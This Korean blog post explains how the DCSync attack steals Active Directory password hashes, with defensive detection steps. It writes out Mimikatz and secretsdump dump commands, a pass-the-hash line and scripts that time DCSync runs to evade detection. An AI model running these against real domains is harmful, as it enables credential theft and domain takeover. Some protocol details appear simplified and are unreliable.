COMMENTS (0)
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
Windows AD 복제 프로토콜을 악용한 DCSync 공격의 동작 원리와 4개 APT 그룹이 사용하는 자격증명 탈취 기법을 상세히 분석합니다. MS-DRSR 프로토콜부터 실제 공격 시나리오까지.
댓글은 익명으로 작성되며, 삭제 비밀번호를 설정하면 본인만 삭제할 수 있습니다. 비밀번호를 설정하지 않은 댓글은 누구나 삭제할 수 있습니다.
2015년 Benjamin Delpy가 Mimikatz에 DCSync 기능을 추가했다. 이후 4개 이상의 APT 그룹이 이 기법으로 Active Directory 환경에서 자격증명을 탈취하고 있다. DCSync는 단순한 해시 덤핑 도구가 아니다. Windows의 정상적인 도메인 복제 메커니즘을 악용한다. Domain Controller인 척 위장해 네트워크를 통해 원격으로 모든 사용자의 비밀번호 해시를 가져올 수 있다.
기존 자격증명 탈취 공격은 대상 서버에 직접 접근해야 했다. DCSync는 네트워크를 통해 원격으로 작동하며 정상적인 복제 트래픽으로 위장하기 때문에 탐지가 매우 어렵다. 이것이 APT 그룹들이 DCSync를 선호하는 이유이다.
DCSync(Directory Synchronization)는 Windows Active Directory의 정상적인 도메인 복제 프로토콜을 악용하여 원격으로 자격증명 해시를 탈취하는 공격 기법이다.
The drsuapi RPC interface is intended to enable domain controllers (DCs) in an Active Directory forest to replicate directory data between them. — Microsoft MS-DRSR Protocol Specification
Microsoft의 공식 문서에 따르면, drsuapi RPC 인터페이스는 Active Directory 포레스트의 도메인 컨트롤러들이 디렉터리 데이터를 복제하기 위해 설계되었다. DCSync 공격은 바로 이 정상적인 복제 메커니즘을 악용한다.
DCSync 공격은 다음 5가지 핵심 요소로 구성된다:
| 용어 | 설명 |
|---|---|
| DCSync | 역할: AD 복제 프로토콜 악용 / 접근 방식: 원격 네트워크 접근 / 탐지 난이도: 높음 (정상 트래픽 위장) |
| LSASS 덤프 | 역할: 메모리에서 직접 추출 / 접근 방식: 로컬 프로세스 접근 / 탐지 난이도: 중간 (메모리 접근 탐지) |
| NTDS.dit 복사 | 역할: 데이터베이스 파일 복사 / 접근 방식: 물리적 파일 접근 / 탐지 난이도: 낮음 (파일 시스템 활동) |
| SAM 덤프 | 역할: 로컬 계정 데이터베이스 / 접근 방식: 레지스트리 접근 / 탐지 난이도: 낮음 (레지스트리 변경) |
| Kerberoasting | 역할: 서비스 티켓 요청 / 접근 방식: Kerberos 프로토콜 / 탐지 난이도: 중간 (비정상적 티켓 요청) |
Active Directory 환경에서는 여러 도메인 컨트롤러가 동일한 디렉터리 정보를 유지해야 한다. 이를 위해 Microsoft는 MS-DRSR(Directory Replication Service Remote Protocol) 프로토콜을 설계했다.
DCSync 공격의 첫 번째 단계는 대상 도메인 컨트롤러와의 RPC 연결을 설정하는 것이다.
RPC Request to TCP 135 (Endpoint Mapper)
Host: target-dc.domain.com
Interface-UUID: E3514235-4B06-11D1-AB04-00C04FC2DCD2
Authentication: NTLM/Kerberos
공격자는 다음과 같은 고정된 DRS RPC 인터페이스 GUID를 사용한다:
E3514235-4B06-11D1-AB04-00C04FC2DCD2핵심적인 공격 단계는 IDL_DRSGetNCChanges 함수를 호출하는 것이다.
// DCSync 공격에서 사용되는 핵심 RPC 함수 호출
ULONG IDL_DRSGetNCChanges(
[in, ref] DRS_HANDLE hDrs, // RPC 컨텍스트 핸들
[in] DWORD dwInVersion, // 요청 메시지 버전 (보통 8)
[in, ref] DRS_MSG_GETCHGREQ *pmsgIn, // 복제 요청 메시지
[out, ref] DWORD *pdwOutVersion, // 응답 메시지 버전
[out, ref] DRS_MSG_GETCHGREPLY *pmsgOut // 응답 데이터 (해시 포함)
);
공격자가 전송하는 복제 요청 메시지는 다음과 같은 구조를 가진다:
{
"dwFlags": "0x20000000",
"pNC": {
"StringName": "DC=domain,DC=com"
},
"uuidDsaObjDest": "00000000-0000-0000-0000-000000000000",
"pUpToDateVecDest": null,
"ulFlags": "0x00000001",
"cMaxObjects": 1000,
"cMaxBytes": 10485760,
"ulExtendedOp": "EXOP_REPL_OBJ"
}
주요 플래그 값들:
0x00000010 - 쓰기 가능한 복제본 요청0x00000020 - 전체 복제 요청0x00001000 - 비밀 데이터 처리도메인 컨트롤러는 요청을 받으면 다음과 같은 과정을 거쳐 데이터를 반환한다:
현실적인 DCSync 공격은 다음과 같이 진행된다:
단계 1: 초기 침입 및 권한 상승
# 공격자가 도메인 관리자 권한을 획득한 상태
whoami /groups | findstr "Domain Admins"
단계 2: Mimikatz를 이용한 DCSync 실행
# 특정 사용자 해시 탈취
mimikatz.exe "lsadump::dcsync /domain:company.com /user:administrator"
# krbtgt 계정 해시 탈취 (Golden Ticket 공격 준비)
mimikatz.exe "lsadump::dcsync /domain:company.com /user:krbtgt"
단계 3: 획득한 해시 활용
# Pass-the-Hash 공격으로 다른 시스템 접근
impacket-psexec -hashes :aad3b435b51404eeaad3b435b51404ee administrator@target-server
DCSync 공격 시 발생하는 네트워크 트래픽의 특징:
Source: 공격자 IP
Destination: Domain Controller IP
Protocol: RPC over TCP
Port: 135 (초기 바인딩) → 동적 포트
Payload: MS-DRSR GetNCChanges 요청
Size: 일반적으로 수십 KB ~ 수백 KB
정상적인 도메인 복제와 구별하기 어려운 이유:
IDL_DRSGetNCChanges)공격자 입장에서 DCSync는 다른 자격증명 탈취 기법 대비 여러 장점을 제공한다:
시나리오 1: APT29 (Cozy Bear)의 DCSync 활용
APT29는 다음과 같은 단계로 DCSync를 활용한다:
시나리오 2: Lazarus 그룹의 은밀한 접근
Lazarus 그룹 10년 해킹史: 북한 사이버 위협의 진화 과정에서 다룬 바와 같이, Lazarus는 DCSync를 사용해 장기간 탐지되지 않고 자격증명을 수집한다:
# 야간 시간대에 자동화된 DCSync 실행
$time = Get-Date
if ($time.Hour -ge 22 -or $time.Hour -le 6) {
# 관리자들이 없는 시간에 DCSync 실행
mimikatz.exe "lsadump::dcsync /domain:target.com /user:krbtgt /quiet"
}
1. Mimikatz DCSync 모듈
# 기본 DCSync 명령어
mimikatz.exe "lsadump::dcsync /domain:company.com /user:target_user"
# 모든 사용자 해시 덤프
mimikatz.exe "lsadump::dcsync /domain:company.com /all"
# CSV 형태로 출력
mimikatz.exe "lsadump::dcsync /domain:company.com /user:administrator /csv"
2. Impacket secretsdump.py
# Python 기반 DCSync 구현
secretsdump.py domain/admin:password@dc-server -outputfile hashes
# Pass-the-Hash로 DCSync 실행
secretsdump.py -hashes :ntlm_hash domain/admin@dc-server
3. PowerShell Empire
# Empire 프레임워크의 DCSync 모듈
usemodule credentials/mimikatz/dcsync
set Domain company.com
set User krbtgt
execute
1. 시간 분산 공격
import time
import random
users = ['user1', 'user2', 'user3', 'krbtgt']
for user in users:
# 30분~2시간 간격으로 DCSync 실행
delay = random.randint(1800, 7200)
time.sleep(delay)
os.system(f'mimikatz.exe "lsadump::dcsync /domain:company.com /user:{user}"')
2. 정상 복제 시간 활용
공격자들은 정상적인 도메인 복제가 활발한 시간대(업무 시간, 정책 업데이트 시)를 노려 DCSync를 실행한다.
3. 최소 권한 계정 활용
Domain Admins 그룹 대신 복제 권한만 있는 서비스 계정을 탈취하여 사용:
# 복제 권한이 있는 서비스 계정 확인
Get-ADUser -Filter * -Properties memberof | Where-Object {
$_.memberof -like "*Replication*"
}
1. 이벤트 로그 모니터링
DCSync 공격 시 발생하는 주요 이벤트 ID:
<Event>
<EventID>4662</EventID>
<Task>Directory Service Access</Task>
<Keywords>Audit Success</Keywords>
<Properties>
<Property Name="SubjectUserName">attacker_account</Property>
<Property Name="ObjectName">DC=company,DC=com</Property>
<Property Name="AccessMask">0x100</Property>
<Property Name="Properties">
{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}
{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}
</Property>
</Properties>
</Event>
2. 네트워크 모니터링
# Wireshark 필터로 DCSync 트래픽 탐지
dcerpc.cn_flags.fragmented == 0 && dcerpc.uuid == e3514235-4b06-11d1-ab04-00c04fc2dcd2
3. 권한 감사
# 복제 권한이 있는 모든 계정 확인
Import-Module ActiveDirectory
$domain = Get-ADDomain
$acl = Get-Acl -Path "AD:\$($domain.DistinguishedName)"
$acl.Access | Where-Object {
$_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or
$_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
} | Select-Object IdentityReference, AccessControlType, ObjectType
4. 행동 기반 탐지
권한 관리
모니터링 설정
네트워크 보안
DCSync 공격은 Windows Active Directory의 정상적인 복제 메커니즘을 악용하여 원격으로 자격증명을 탈취하는 정교한 공격 기법이다. 4개 APT 그룹이 이 기법을 활용하는 이유는 정상 트래픽으로 위장이 가능하고, 원격에서 대량의 해시를 한 번에 획득할 수 있기 때문이다.
DCSync의 핵심은 IDL_DRSGetNCChanges RPC 함수를 악용하여 도메인 컨트롤러인 척 위장하는 것이다. 이를 통해 공격자는 Golden Ticket: krbtgt 해시 1개로 도메인을 장악하는 원리에서 설명한 Golden Ticket 공격이나 다른 Kerberos 공격 기법들을 위한 핵심 자격증명을 확보할 수 있다.
효과적인 방어를 위해서는 권한 최소화, 실시간 모니터링, 그리고 행동 기반 탐지를 조합한 다층 보안 전략이 필요하다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.